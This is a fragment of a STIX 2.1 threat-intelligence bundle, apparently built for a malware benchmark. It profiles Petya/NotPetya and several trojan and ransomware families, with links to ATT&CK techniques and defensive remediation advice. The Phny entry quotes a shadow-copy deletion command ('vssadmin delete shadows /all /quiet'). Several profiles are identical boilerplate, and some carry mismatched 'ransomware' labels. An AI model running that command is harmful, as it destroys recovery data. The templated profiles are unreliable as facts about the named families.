      "description": "Petya is one of the most historically destructive malware architectures ever deployed. Originally developed in early 2016 as a commercial ransomware strain by a developer operating under the handle 'Janus Cybercrime Solutions', Petya deviated from traditional userland ransomware by targeting low-level operating system storage structures: it overwrote the Master Boot Record (MBR) and encrypted the Master File Table (MFT) of NTFS volumes, preventing Windows from booting.\n\nIn June 2017, the malware was repurposed into NotPetya (also tracked as Nyetya or ExPetr), a catastrophic pseudo-ransomware wiper deployed by Russian Military Intelligence (GRU Unit 74455, Sandworm Team). NotPetya was initially seeded through a compromised software update of M.E.Doc, the dominant tax accounting software in Ukraine. Once inside enterprise networks, NotPetya rapidly wormed across subnets by exploiting the EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0145) SMB vulnerabilities, while simultaneously dumping LSASS credentials using Mimikatz and executing remotely via PsExec and WMI. The attack caused an estimated $10 billion in damage worldwide, paralyzing global logistics (Maersk), healthcare (Merck), and multinational infrastructure. In October 2020, the U.S. Department of Justice unsealed a landmark indictment charging six Russian GRU officers for the attack. (Observed samples in benchmark: 121)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Petya",
        "NotPetya",
        "Nyetya",
        "GoldenEye",
        "Petrwrap",
        "ExPetr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Petya",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/petya"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert TA17-181A (Petya/NotPetya Ransomware)"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0d607cc-61d0-5599-b384-b69de69a47a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01a751f6-d4b6-512d-8c63-759f165ae77c",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petya exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6634f1a-c4f2-51b8-9582-534c7b0deb46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01a751f6-d4b6-512d-8c63-759f165ae77c",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petya exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a935fc39-81cc-5bc1-afa9-97948fd9208a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01a751f6-d4b6-512d-8c63-759f165ae77c",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petya exhibits technique T1210 (Exploitation of Remote Services)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d4ac506-6bf7-56d0-bc88-2a0103a4e1d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01a751f6-d4b6-512d-8c63-759f165ae77c",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petya exhibits technique T1047 (Windows Management Instrumentation)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1569.002: System Services: Service Execution",
      "description": "MITRE ATT&CK Technique T1569.002 (System Services: Service Execution) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1569.002",
          "url": "https://attack.mitre.org/techniques/T1569/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0743e504-74b7-5ee3-9a9d-29939a920c49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01a751f6-d4b6-512d-8c63-759f165ae77c",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petya exhibits technique T1569.002 (System Services: Service Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8ceb93d6-ca53-549b-b318-5004505cc7de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pfoenic",
      "description": "Trojan:Win32/Pfoenic is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pfoenic</b><br>To an end-user, a Pfoenic infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pfoenic is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pfoenic is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pfoenic frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pfoenic reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pfoenic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pfoenic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44b2769b-34e8-5d19-9bb7-8855c342d462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ceb93d6-ca53-549b-b318-5004505cc7de",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pfoenic exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cbd65f8-812a-5698-b043-2d3ab64d65a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ceb93d6-ca53-549b-b318-5004505cc7de",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pfoenic exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--001ffc4d-1553-58e3-acbd-79faf011f5bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ceb93d6-ca53-549b-b318-5004505cc7de",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pfoenic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fda26e1-f2ec-5b55-a0be-eb90652642a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ceb93d6-ca53-549b-b318-5004505cc7de",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pfoenic exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac0dd156-a9a6-57b1-b5f2-4ca6e031b6eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ceb93d6-ca53-549b-b318-5004505cc7de",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pfoenic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef6ef4d0-6276-52f3-b00b-e2c7f69cfdcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pgpsnippet",
      "description": "Trojan:Win32/Pgpsnippet is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pgpsnippet</b><br>To an end-user, a Pgpsnippet infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pgpsnippet is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pgpsnippet is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pgpsnippet frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pgpsnippet reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pgpsnippet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pgpsnippet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf395f5a-b646-586d-98fb-56e3017148c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef6ef4d0-6276-52f3-b00b-e2c7f69cfdcc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pgpsnippet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b2cb869-0416-5b6e-a164-0b73addf054c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef6ef4d0-6276-52f3-b00b-e2c7f69cfdcc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pgpsnippet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eea7ebe3-cea7-52ea-97e1-62e3428dca8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef6ef4d0-6276-52f3-b00b-e2c7f69cfdcc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pgpsnippet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bf206e1-f388-5c5c-8aac-bbc7571fb1b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef6ef4d0-6276-52f3-b00b-e2c7f69cfdcc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pgpsnippet exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9f8c3d3-c0cc-5fcd-a6be-0d9abf85c3cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef6ef4d0-6276-52f3-b00b-e2c7f69cfdcc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pgpsnippet exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9e62643-a8c7-53b2-9e95-808fffffa3be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phires",
      "description": "<h3>Executive Summary</h3>\nPhires is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPhires is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Phires operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Phires ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Phires receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Phires infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Phires executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Phires frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Phires",
        "Downloader.Phires",
        "Win32/Phires"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phires",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phires"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d45d40bb-9a75-5657-85f6-204ca77176d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e62643-a8c7-53b2-9e95-808fffffa3be",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phires exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--996a8a5a-ed49-567f-9000-24455158d701",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e62643-a8c7-53b2-9e95-808fffffa3be",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phires exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f92b649-a3bf-5208-b12d-9e5d05216960",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e62643-a8c7-53b2-9e95-808fffffa3be",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phires exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1048b324-04aa-55b4-8584-97a3731c435c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phnu",
      "description": "<h3>Executive Summary</h3>\nPhnu is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPhnu is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Phnu operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Phnu ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Phnu receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Phnu infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Phnu executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Phnu frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Phnu",
        "Downloader.Phnu",
        "Win32/Phnu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phnu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phnu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--277abd5c-c289-5c6a-970c-6b9876ed1016",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1048b324-04aa-55b4-8584-97a3731c435c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phnu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8493c103-556b-505b-b1d4-9adca95f342e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1048b324-04aa-55b4-8584-97a3731c435c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phnu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18e12c44-167a-5600-ac43-dbb48f9903b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1048b324-04aa-55b4-8584-97a3731c435c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phnu exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08779f0e-c5ba-53c3-adc5-1328cdaed090",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phny",
      "description": "Phny (identified across endpoint security databases under signatures including Ransom:Win32/Phny, Trojan-Ransom.Win32.Phny, and Trojan.Phny) is a destructive crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through malicious spam campaigns with macro-enabled attachments and drive-by download compromise chains, Phny executes rapid evasion and reconnaissance routines upon system infiltration. Phny terminates database, backup, and endpoint security processes to release open file handles before traversing local storage drives, removable media, and mounted network file shares. Using AES-256 symmetric encryption combined with RSA public-key protection, Phny encrypts documents, spreadsheets, databases, and archives, appending an extortion extension to affected files. It deletes Volume Shadow Copies (vssadmin delete shadows /all /quiet), alters desktop background settings to display extortion notices, and demands cryptocurrency ransoms in exchange for a proprietary decryptor. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Phny",
        "Trojan-Ransom.Win32.Phny",
        "Trojan.Phny",
        "Win32/Phny",
        "Ransom:Win32/Phny.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phny",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phny"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--daa3b646-e950-5cfc-9bae-dfe6d85b4f02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phonerooter",
      "description": "<h3>Executive Summary</h3>\nPhoneRooter is a classification encompassing various Android \"rooting\" utilities (e.g., KingoRoot, Towelroot, Framaroot) that utilize software exploits to bypass the Android operating system's security architecture and grant the user \"superuser\" or \"root\" access. While sometimes used intentionally by tech-savvy users to customize their devices, these tools are universally classified as HackTools or Exploits because they deliberately attack vulnerabilities in the Linux kernel to permanently subvert the device's security model. Threat actors frequently weaponize these identical exploits to quietly compromise mobile devices.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLegitimate users intentionally download these APKs from third-party websites (as they are banned from the Google Play Store). However, malicious apps often embed these exploits to achieve root access silently in the background without user consent.\n\nUpon execution, PhoneRooter tools perform the following actions:\n<ul>\n<li><strong>Vulnerability Exploitation:</strong> The tool scans the device's hardware architecture and Android OS version, then deploys a specific, known exploit (e.g., \"Dirty COW,\" \"PingPongRoot\") targeting a flaw in the Linux kernel or a specific hardware driver.</li>\n<li><strong>Privilege Escalation:</strong> If the exploit is successful, the tool bypasses the Android Application Sandbox, elevating its privileges from a standard application to a highly privileged kernel-level process.</li>\n<li><strong>SU Binary Installation:</strong> It remounts the system partition as read/write and installs the `su` (superuser) binary and a root management app (like SuperSU), permanently breaking the security model and allowing any application (with permission) to execute arbitrary commands.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a PhoneRooter tool or a successfully rooted device in a corporate environment (e.g., BYOD or Corporate-Owned devices) is a critical compliance violation. Rooting completely destroys the integrity of MDM (Mobile Device Management) controls, allows data exfiltration by bypassing application sandboxing, and makes the device highly susceptible to advanced mobile malware (like banking trojans that steal SMS 2FA codes).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>MDM Enforcement (Automated Isolation):</strong> Enterprise MDM solutions (e.g., Intune, Workspace ONE) must be configured with strict compliance policies that constantly monitor for \"Jailbroken/Rooted\" status. If detected, the MDM should automatically revoke corporate access, wipe corporate data, and quarantine the device from the network.</li>\n<li><strong>Device Wipe (Factory Reset):</strong> A device that has been rooted using an exploit cannot be trusted. The only secure remediation is a complete factory reset, which restores the original, uncompromised system partition from the manufacturer's recovery image.</li>\n<li><strong>Policy Review:</strong> Reiterate corporate BYOD policies regarding unauthorized device modifications and enforce strict conditional access based on device health attestation.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.AndroidRoot",
        "Exploit.Android.Rooter",
        "Tool.KingoRoot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phonerooter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phonerooter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f309919-f500-5fb6-af49-fc618be85700",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daa3b646-e950-5cfc-9bae-dfe6d85b4f02",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phonerooter exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec27a2b2-c941-5649-b209-40ff03287763",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daa3b646-e950-5cfc-9bae-dfe6d85b4f02",
      "target_ref": "attack-pattern--d46283cf-417a-525d-a9ea-f6222340a0bc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
